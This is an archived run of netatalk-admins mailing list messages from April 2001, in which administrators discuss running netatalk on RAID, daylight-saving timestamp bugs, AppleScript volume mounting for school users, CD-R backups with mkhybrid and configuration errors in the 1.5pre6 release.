	Tue, 17 Apr 2001 16:23:06 -0400 (EDT)
Received: from tv.rsc.raytheon.com (rbell2.tv.rsc.raytheon.com [192.27.39.132]) by rbell.tv.rsc.raytheon.com with ESMTP (8.9.3 (PHNE_18979)/8.7.3) id NAA05930; Tue, 17 Apr 2001 13:23:05 -0700 (PDT)
Message-ID: <3ADCA628.E2EA26A7@tv.rsc.raytheon.com>
Date: Tue, 17 Apr 2001 13:23:04 -0700
From: "Robert B. Bell" <rbell@tv.rsc.raytheon.com>
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Lance Levsen <l.levsen@printwest.com>
CC: LINUX-ATALK@netspace.org, netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Netatalk and raid
References: <20010417194637.862EA7995@cossette.dante.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I'm using both.

They are unrelated things.

NetAtalk uses a disk, 
but it doesn't care or know 
if it is a RAID drive or not.

Lance Levsen wrote:
> 
> Anyone here using Netatalk and the Linux software raid together?
> 
> I'm curious if this is a valid setup, and what your setup might be.

From netatalk.administrators-errors@umich.edu  Tue Apr 17 17:02:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA01938
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 17:02:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA00897
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 17:02:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA00879
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 17:01:59 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA00858
	for <Netatalk-Admins@umich.edu>; Tue, 17 Apr 2001 17:01:58 -0400 (EDT)
Received: (qmail 2964 invoked by alias); 17 Apr 2001 21:02:05 -0000
Received: (qmail 2941 invoked by uid 0); 17 Apr 2001 21:02:04 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 17 Apr 2001 21:02:04 -0000
Subject: Re: Netatalk and raid
From: Matthew Keller <kellermg@potsdam.edu>
To: Netatalk-Admins List <Netatalk-Admins@umich.edu>
Cc: linux-atalk@netspace.org
In-Reply-To:  <20010417194637.862EA7995@cossette.dante.ca>
References:  <20010417194637.862EA7995@cossette.dante.ca>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 17 Apr 2001 17:01:54 -0400
Message-Id: <987541314.779.3.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


I've tested (and have used in a production environment) Netatalk running
on software RAID 0, RAID 1 and RAID 10 (2.2 and 2.4 linux kernels) and
hardware RAID 1. It is just as stable as using it on "normal" disks.

On 17 Apr 2001 13:46:37 -0600, Lance Levsen wrote:
> Anyone here using Netatalk and the Linux software raid together?
> 
> I'm curious if this is a valid setup, and what your setup might be.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Apr 17 17:28:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03050
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 17:28:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22295
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 17:28:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22259
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 17:28:24 -0400 (EDT)
Received: from fishcalledwanda.dir.itd.umich.edu (fishcalledwanda.dir.itd.umich.edu [141.211.14.23])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA22218
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 17:28:23 -0400 (EDT)
Received: from pathfinder (genisis.pwgroup.ca [142.165.152.48])
	by fishcalledwanda.dir.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA08290
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 17:28:22 -0400 (EDT)
Received: from SMTP agent by mail gateway 
 Tue, 17 Apr 2001 15:41:32 -0600
Received: from cossette.dante.ca (192.168.10.1)
          by pathfinder with MERCUR-SMTP/POP3/IMAP4-Server (v3.30.03 AS-0098315)
          for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001  15:41:58 -0600
Received: from SMTP agent by mail gateway 
 Tue, 17 Apr 2001 15:40:51 -0600
Received: from printwest.com (localhost [127.0.0.1])
	by cossette.dante.ca (Postfix) with ESMTP id B24297987
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 15:21:47 -0600 (CST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Timestamps
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 17 Apr 2001 15:21:47 -0600
From: Lance Levsen <l.levsen@printwest.com>
Message-Id: <20010417212147.B24297987@cossette.dante.ca>


One of the turnkeys we dropped off at a clients has developed a timestamp 
problem. Quark images that are being served from the Netatalk server all came 
up as being modified in Quark. The only thing that changed was daylight 
savings.

Does anyone recognize this and is it a Netatalk prb or a Mac problem?

Cheers,
-- 
Lance Levsen,
Product Innovation
PWGroup - S'toon.



From netatalk.administrators-errors@umich.edu  Tue Apr 17 17:29:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03084
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 17:29:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA13878
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 17:29:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA13858
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 17:29:00 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA13805
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 17:28:58 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000066222 for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 23:23:58 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a05100900b7026152baec@[192.168.1.201]>
In-Reply-To: <B6FE056D.B82%jarends@mac.com>
References: <B6FE056D.B82%jarends@mac.com>
Date: Tue, 17 Apr 2001 23:36:38 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: connection to server
Content-Type: text/plain; charset="us-ascii"

Hi,

>#2 share the users' home directory(~). This will be similar to apple's idisk
>where an icon shows up on the desktop  with the username and all the files
>will be in it. The problem with this approach is that I can't use an alias
>to connect to the server since every user's volume has a different name. I
>don't want the kids messing with the chooser. Does anyone know of an
>application or an applescript or something that will allow you to connect to
>a server and gets its list of volumes?

-  If it can be of any interest -
I could only get one kind of AppleScript to mount Netatalk volumes fairly reliably (on OS9 as well as on OSX + NetAtalk):

try
	mount volume "ShareNameAsInAppleVolumes.default/user" on server "ServerNameAsInAfpd.ConfConfigurationLine" as user name "username"
on error
	say "oohps!"
end try

On OSX, and in general with NetAtalk, the password option did not work for me, and to make the above script work, I had first to save the passwords in the KeyChain and allow access, and then call them like that. In some cases it was enough to specify the server without the user name. Note that "on server"  seems to require the Server name as it appears in the chooser - even if you have atalkd not running and / or AppleTalk switched off.

Are the kids already able to type their names?

In that case an AS _could_ look like

on run
set KidQuestion to display dialog "Please type Your name" default answer "here" buttons {"no","done")
if button returned of KidQuestion is "no" then return
set KidAnswer to text returned of KidQuestion
set KidServer to KidAnswer & " Home" -- (or just KidAnswer)
try
mount volume KidServer on server "ServerNameAsInAfpd.ConfConfigurationLine" as user KidAnswer
on error
say "Are You trying to KID me?"
end try
end run

depending on how long and how much you fight with the mount volume command, you might get it to do what you need.... (in this case, the password would still be taken from the KeyChain)

:-)

Lorenzo


At 13:47 Uhr -0500 14.04.2001, John Arends wrote:
>I'm considering using a netatalk server in a school with 3rd through 5th
>graders. Right now we have one big novell server that handles library stuff
>which is all PC, and also has the student files. (all student machines are
>macs) It isn't working well.
>
>I'd like to put up a netatalk server for student files, but I have some
>issues with how students will connect to it. We don't want them using the
>chooser, so we have resorted to desktop aliases so far.
>
>I have 2 possible solutions, but neither works ideally.
>
>#1 A setup like we have now. I create a netatalk volume for /home/ and it
>has all the users folders in it. The click on their folder and save into it.
>This is what we have now. Novell's permissions allow folders that the
>students don't have access to to be invisible. When they open the users
>folder, the only folder they see in it is their own. With netatalk, folders
>the kids don't have access to just have the icons showing they can't open
>them. With close to 500 users this isn't acceptable to have that many
>folders visible. it will be too slow. Does anyone know a way to make the
>other users' folders invisible?
>
>#2 share the users' home directory(~). This will be similar to apple's idisk
>where an icon shows up on the desktop  with the username and all the files
>will be in it. The problem with this approach is that I can't use an alias
>to connect to the server since every user's volume has a different name. I
>don't want the kids messing with the chooser. Does anyone know of an
>application or an applescript or something that will allow you to connect to
>a server and gets its list of volumes?
>
>
>
>One way I could solve #2 is to name the home directory "Home" rather than
>the username. The problem with this however is that people will not be able
>to tell who is logged in since it will always be called home. Therefore I
>definitely do not want to do this.
>
>
>Comments anyone? I'd be really interested how other people have this set up.


From netatalk.administrators-errors@umich.edu  Tue Apr 17 19:00:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05729
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Apr 2001 19:00:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA25110
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Apr 2001 19:00:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA25093
	for netatalk.administrators-members@umich.edu; Tue, 17 Apr 2001 19:00:19 -0400 (EDT)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA25073
	for <netatalk-admins@umich.edu>; Tue, 17 Apr 2001 19:00:18 -0400 (EDT)
Received: (qmail 778 invoked by uid 500); 17 Apr 2001 23:00:14 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15068.51966.504285.446070@h0050da615e79.ne.mediaone.net>
Date: Tue, 17 Apr 2001 19:00:14 -0400
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Lance Levsen <l.levsen@printwest.com>
Cc: netatalk-admins <netatalk-admins@umich.edu>
Subject: Timestamps
In-Reply-To: <20010417212147.B24297987@cossette.dante.ca>
References: <20010417212147.B24297987@cossette.dante.ca>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Lance Levsen <l.levsen@printwest.com>
   Date: Tue, 17 Apr 2001 15:21:47 -0600

   One of the turnkeys we dropped off at a clients has developed a timestamp 
   problem. Quark images that are being served from the Netatalk server all came
   up as being modified in Quark. The only thing that changed was daylight 
   savings.

   Does anyone recognize this and is it a Netatalk prb or a Mac problem?

This came up about ten days ago on netatalk-devel@lists.sourceforge.net;
the thread subject was "Netatalk file time problems".  We figured it was
a Mac bug -- netatalk was sending the correct UTC times for files
created during standard time, but the Mac was reporting DST for all file
dates.

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Wed Apr 18 02:13:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA20096
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 02:13:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA09736
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 02:13:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA09734
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 02:13:13 -0400 (EDT)
Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA09724
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 02:13:12 -0400 (EDT)
Received: from 208-59-113-219.c3-0.129-ubr2.lnh-129.md.cable.rcn.com ([208.59.113.219] helo=nat1)
	by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5)
	id 14plDD-0001q2-00 
	for netatalk-admins@umich.edu; Wed, 18 Apr 2001 02:13:11 -0400
Message-ID: <00d301c0c7ce$7ea1b090$0300a8c0@nat1.rcn.com>
From: "Nathaniel Pendleton" <netatalkbox@pendletonpress.com>
To: <netatalk-admins@umich.edu>
Subject: Netatalk data backup with CD-R
Date: Wed, 18 Apr 2001 02:12:06 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4

Is there a recommended way to backup my MacOS files
on my Linux netatalk server?

I have SCSI CD-R and a SCSI PCI card to setup on Linux.

What file format on the CD-R should / can I use?
HFS? can I make an HFS CD-R from linux? to reliably open on MacOS.
ext2? can I record all the .AppleDouble and permissions onto an ext2 CD-R?
                  But be forced to linux to recover.
ISO9660? can I use the very portable ISO9660 and .AppleDouble?
                  But then how can I reliably reconstitute type/creator and
resource fork
                  on a MacOS file stored on ISO9660?

OR should I move everything across the network to a MacOS machine with CD-R?
That would be really annoying.

-Nathaniel



From netatalk.administrators-errors@umich.edu  Wed Apr 18 07:27:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA26649
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 07:27:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA12137
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 07:27:15 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA12118
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 07:27:15 -0400 (EDT)
Received: from yellow.csi.cam.ac.uk (yellow.csi.cam.ac.uk [131.111.8.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA12094
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 07:27:14 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by yellow.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 14pq7G-00075N-00
	for netatalk-admins@umich.edu; Wed, 18 Apr 2001 12:27:22 +0100
Date: Wed, 18 Apr 2001 12:27:22 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@yellow.csi.cam.ac.uk>
To: <netatalk-admins@umich.edu>
Subject: double click problem
Message-ID: <Pine.SOL.4.33.0104181153210.525-100000@yellow.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear Netatalk,

Please could someone help me.
I have a big problem. System redhat 7 netatalk-1.4b2+asun2.1.4-0.i386.rpm
+ netatalk-1.5pre6-1rh7.i386.rpm.
I am not sure if this is a netatalk or network problem. I recently
added some disks to a hardware raid 5 array and after copying with rsync
user directories back I noticed that I could not open a number of
photoshop files on double click from the server. Files drag and drop fine,
many double click open intermittently. Files opened through the
application can take some time to open on a quiet network, many hang and
crash the Mac. I have two similar boxes on the same switch and they
appear to be fine except for DID errors. I have copied users to Macs
and then back to the server remaking there home directories but to no
avail. I get no syslog errors. Has anyone else had this?

All the best

Ian.







From netatalk.administrators-errors@umich.edu  Wed Apr 18 09:08:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA00217
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 09:08:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04562
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 09:08:18 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04533
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 09:08:17 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA04490
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 09:08:15 -0400 (EDT)
Received: from ns07-n66-074.de.inter.net ([213.73.66.74] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14prh1-0004Br-00
	for netatalk-admins@umich.edu; Wed, 18 Apr 2001 15:08:23 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id PAA25998
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 15:06:25 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Netatalk data backup with CD-R
Date: Wed, 18 Apr 2001 14:59:17 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <00d301c0c7ce$7ea1b090$0300a8c0@nat1.rcn.com>
In-Reply-To: <00d301c0c7ce$7ea1b090$0300a8c0@nat1.rcn.com>
MIME-Version: 1.0
Message-Id: <01041815062500.25690@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA00217

On Wed, 18 Apr 2001, Nathaniel Pendleton wrote:
> Is there a recommended way to backup my MacOS files
> on my Linux netatalk server?
> 
> I have SCSI CD-R and a SCSI PCI card to setup on Linux.
> 
> What file format on the CD-R should / can I use?
> HFS? can I make an HFS CD-R from linux? to reliably open on MacOS.
> ext2? can I record all the .AppleDouble and permissions onto an ext2 CD-R?
>                   But be forced to linux to recover.
> ISO9660? can I use the very portable ISO9660 and .AppleDouble?
>                   But then how can I reliably reconstitute type/creator and
> resource fork
>                   on a MacOS file stored on ISO9660?
> 
> OR should I move everything across the network to a MacOS machine with CD-R?
> That would be really annoying.
> 
> -Nathaniel

Look at the mkhybrid(8) man page, there is a --netatalk option.
Mkhybrid creates an ISO9660 file system image with HFS extension.
You can write this image via e.g. cdrecord(1) onto your cd-r.
This will be exactly what you want.

HTH, regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Apr 18 14:24:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA12909
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 14:24:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02335
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 14:24:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02315
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 14:24:11 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA02250
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 14:24:09 -0400 (EDT)
Received: (qmail 28074 invoked from network); 18 Apr 2001 18:24:08 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 18 Apr 2001 18:24:08 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP
	id 3619A1A002; Wed, 18 Apr 2001 19:22:03 +0100 (BST)
Date: Wed, 18 Apr 2001 18:05:17 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Case senstivity
To: Matthew Keller <kellermg@potsdam.edu>
Cc: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <987600715.779.9.camel@comp10574.potsdam.edu>
Message-ID: <20010418192416-r01010600-1c65977a@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

Matthew

Thanks very much indeed for your response. I've downloaded and installed
1.5pre6. I've got a couple of new problems. Can you help?

I've installed on Debian. I had to edit the paths of afpd et al from
/usr/sbin to /usr/local/sbin etc. I should have set this path in
configure I realise.

More problematic is that I don't think the install is seeing my
/etc/netatalk configuration files. I reckon this is the case because the
server is showing up in the chooser with the Linux box's host name
rather than the one in my AppleVolumes.default file.

Trying to log onto the server (which does show up in the chooser) I get
the following error message when trying to connect to the server:

"The UAM method required by this server cannot be found..."

Interestingly, if a do a find for "AppleVolumes.default", there is one
in my /etc/netatalk folder (made by Debian) and one in the source
directory (<source>/config) and one in the source config none directory
(<source>/config/NONE/etc/).

I don't quite know which one to use!

Thanks for any help.
Rory


On 18/4/01, kellermg@potsdam.edu (Matthew Keller) wrote:

> On 18 Apr 2001 02:38:29 +0100, Rory Campbell-Lange wrote:

> > The casefold option works on the server for new folders and files
> > for both lowercase and uppercase. However if I try to open an
> > existing directory there is an error message. Do you know if this is
> > something that has sorted out in the 1.5pre5 release?
> 
> This issue (which is rare) was, I believe, fixed in the
> 1.4B2+asun2.1.4 - But should definitely be fine in pre1.5. I
> recommend, if possible, installing 1.5pre**6** (the latest and very
> very stable (almost release grade)) and testing. I'd love feedback.
> 
> > I also find that apple mac client aliases to the server and folders
> > on the server don't work.
> 
> Fixed in 1.4B2+asun2.1.4, and works fine in pre1.5.
> 
> > Thanks for your help. I'd be grateful to know if you advise
> > upgrading to the 1.5pre5 release and compile this from source.
> 
> Again, 1.5pre6 is the latest release, and fixes a large number of bugs
> from 1.5pre5. I can't recommend it for production environments (even
> though I'm using it in several. Shhhhh ;) It is very stable. 

From netatalk.administrators-errors@umich.edu  Wed Apr 18 14:46:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA13719
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 14:46:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA07165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 14:46:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA07125
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 14:46:16 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA07075
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 14:46:15 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f3IIk7n20050;
	Wed, 18 Apr 2001 14:46:07 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3ADDE0D5.60E30CE9@univrel.pr.uconn.edu>
Date: Wed, 18 Apr 2001 14:45:41 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Rory Campbell-Lange <rory@campbell-lange.net>
CC: Matthew Keller <kellermg@potsdam.edu>, netatalk-admins@umich.edu
Subject: Re: Case senstivity
References: <20010418192416-r01010600-1c65977a@194.159.148.247>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Rory Campbell-Lange wrote:
-- SNIP --
> More problematic is that I don't think the install is seeing my
> /etc/netatalk configuration files. I reckon this is the case because the
> server is showing up in the chooser with the Linux box's host name
> rather than the one in my AppleVolumes.default file.

Change /etc/netatalk/netatalk.conf to use the box's preferred name. Try
to avoid spaces.

> Trying to log onto the server (which does show up in the chooser) I get
> the following error message when trying to connect to the server:
> 
> "The UAM method required by this server cannot be found..."

Are the UAMs loading? Check your logs.

If they are, it is possible that your AppleShare Client is out of date.
Check Apple's website to see what the newest version for your version of
MacOS is.
 
> Interestingly, if a do a find for "AppleVolumes.default", there is one
> in my /etc/netatalk folder (made by Debian) and one in the source
> directory (<source>/config) and one in the source config none directory
> (<source>/config/NONE/etc/).
> 
> I don't quite know which one to use!

The /etc/netatalk one, I believe.

jeff

From netatalk.administrators-errors@umich.edu  Wed Apr 18 17:15:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20455
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 17:15:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10400
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 17:15:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10380
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 17:15:23 -0400 (EDT)
Received: from s1.uklinux.net (ns1.uklinux.net [212.1.130.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA09371
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 17:15:21 -0400 (EDT)
Received: from 212.1.149.128 (ppp-2-128.cvx4.telinco.net [212.1.149.128])
	by s1.uklinux.net (8.11.2/8.11.1) with ESMTP id f3ILEQn25911;
	Wed, 18 Apr 2001 22:14:26 +0100
Envelope-To: netatalk-admins@umich.edu
Date: Wed, 18 Apr 2001 22:10:46 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Case senstivity
To: jeff <jeff@univrel.pr.uconn.edu>
cc: Matthew Keller <kellermg@potsdam.edu>, netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <3ADDE0D5.60E30CE9@univrel.pr.uconn.edu>
Message-ID: <20010418221048-r01010600-366de85a@212.1.149.128>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

On 18/4/01, jeff@univrel.pr.uconn.edu (jeff) wrote:

> Rory Campbell-Lange wrote: -- SNIP --

> Change /etc/netatalk/netatalk.conf to use the box's preferred
> name. Try to avoid spaces.

will do.

> > "The UAM method required by this server cannot be found..."

